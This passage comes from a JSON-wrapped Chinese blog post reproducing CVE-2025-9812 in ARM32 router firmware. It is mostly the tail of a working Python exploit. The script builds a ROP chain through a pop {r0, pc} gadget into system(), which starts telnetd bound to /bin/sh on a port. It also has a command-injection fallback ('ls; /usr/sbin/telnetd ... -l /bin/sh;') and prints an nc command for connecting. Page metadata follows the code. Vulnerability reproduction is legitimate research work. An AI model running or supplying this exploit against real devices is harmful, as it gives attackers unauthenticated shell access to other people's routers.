\n payload = b"ls; \/usr\/sbin\/telnetd -p %d -l \/bin\/sh;" % BINDSHELL_PORT
\n send_payload(payload)
\n time.sleep(2)
\n result = check_shell()
\n if result:
\n print(f"[+] Shell via command injection! Output:\\\\n{result.decode(errors='replace')}")
\n print(f"[*] Connect: nc {TARGET_IP} {BINDSHELL_PORT}")
\n else:
\n print("[-] Shell not available. Start httpd and try again.")
\n return<\/p>\n

print(f"[+] libc base: 0x{libc_base:08x}")<\/p>\n

# 2. Calculate addresses
\n system_addr = libc_base + LIBC_SYSTEM_OFFSET
\n gadget_addr = libc_base + LIBC_POP_R0_PC_OFF
\n cmd_addr = STACK_CMD_ADDR<\/p>\n

print(f"[+] system: 0x{system_addr:08x}")
\n print(f"[+] gadget: 0x{gadget_addr:08x}")
\n print(f"[+] cmd: 0x{cmd_addr:08x}")<\/p>\n

# 3. Build ROP chain
\n cmd = b"\/usr\/sbin\/telnetd -p %d -l \/bin\/sh" % BINDSHELL_PORT<\/p>\n

payload = b"A" * OFFSET_TO_PC
\n payload += p32(gadget_addr) # PC \u2192 pop {r0, pc}
\n payload += p32(cmd_addr) # \u2192 R0 = pointer to cmd string
\n payload += p32(system_addr) # \u2192 PC = system()
\n payload += cmd + b"\\\\x00" # command string (at cmd_addr)<\/p>\n

print(f"[*] Payload length: {len(payload)} bytes")
\n print(f"[*] Sending ROP payload…")<\/p>\n

# 4. Send exploit
\n send_payload(payload)<\/p>\n

# 5. Wait and check
\n print(f"[*] Waiting for shell on port {BINDSHELL_PORT}…")
\n time.sleep(2)<\/p>\n

for attempt in range(3):
\n print(f"[*] Attempt {attempt+1}…")
\n result = check_shell()
\n if result:
\n print(f"[+] GOT SHELL!\\\\n{result.decode(errors='replace')}")
\n print(f"[*] Connect: nc {TARGET_IP} {BINDSHELL_PORT}")
\n return
\n time.sleep(1)<\/p>\n

print("[-] ROP shell failed. Trying command injection fallback…")
\n payload = b"ls; \/usr\/sbin\/telnetd -p %d -l \/bin\/sh;" % BINDSHELL_PORT
\n send_payload(payload)
\n time.sleep(2)
\n result = check_shell()
\n if result:
\n print(f"[+] Shell via command injection!")
\n print(f"[*] Connect: nc {TARGET_IP} {BINDSHELL_PORT}")<\/p>\n

if __name__ == "__main__":
\n main()<\/p>\n

\n

\"\"<\/p>\n

\u8fd9\u6837\u5c31\u62ff\u5230shell\u4e86<\/h5>\n

\n","protected":false},"excerpt":{"rendered":"

\u9996\u5148，\u6211\u4eec\u62ff\u5230\u8fd9\u4e2a\u56fa\u4ef6\u4e4b\u540e\u8fd8\u662f\u5148\u8fdb\u884c\u67e5\u770b\u4e00\u4e0b\u8fd9\u4e2a\u67b6\u6784\u8fd9\u91cc\u53ef\u4ee5\u770b\u51fa\u6765\u662f32\u4f4d\u7684arm\u67b6\u6784\u7684；~ > cd \/home\/bgl1\/renwu
\n~\/renwu > ls
\nUS_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin _US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted
\n~\/renwu > cd _US_CH22V1.0BR_V1.0.0.6\\\\(468\\\\)_CN_TDC.bi<\/p>\n","protected":false},"author":2,"featured_media":97843,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[122],"topic":[],"class_list":["post-97851","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-122"],"yoast_head":"\nCVE-2025-9812\u590d\u73b0 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/97851.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"CVE-2025-9812\u590d\u73b0 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u9996\u5148，\u6211\u4eec\u62ff\u5230\u8fd9\u4e2a\u56fa\u4ef6\u4e4b\u540e\u8fd8\u662f\u5148\u8fdb\u884c\u67e5\u770b\u4e00\u4e0b\u8fd9\u4e2a\u67b6\u6784\u8fd9\u91cc\u53ef\u4ee5\u770b\u51fa\u6765\u662f32\u4f4d\u7684arm\u67b6\u6784\u7684；~ > cd \/home\/bgl1\/renwu ~\/renwu > ls US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin _US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted ~\/renwu > cd _US_CH22V1.0BR_V1.0.0.6\\(468\\)_CN_TDC.bi\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/97851.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-08-30T04:16:59+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/08\/20260830041654-6a93aeb62cf59.png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"14 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/97851.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/97851.html\",\"name\":\"CVE-2025-9812\u590d\u73b0 - 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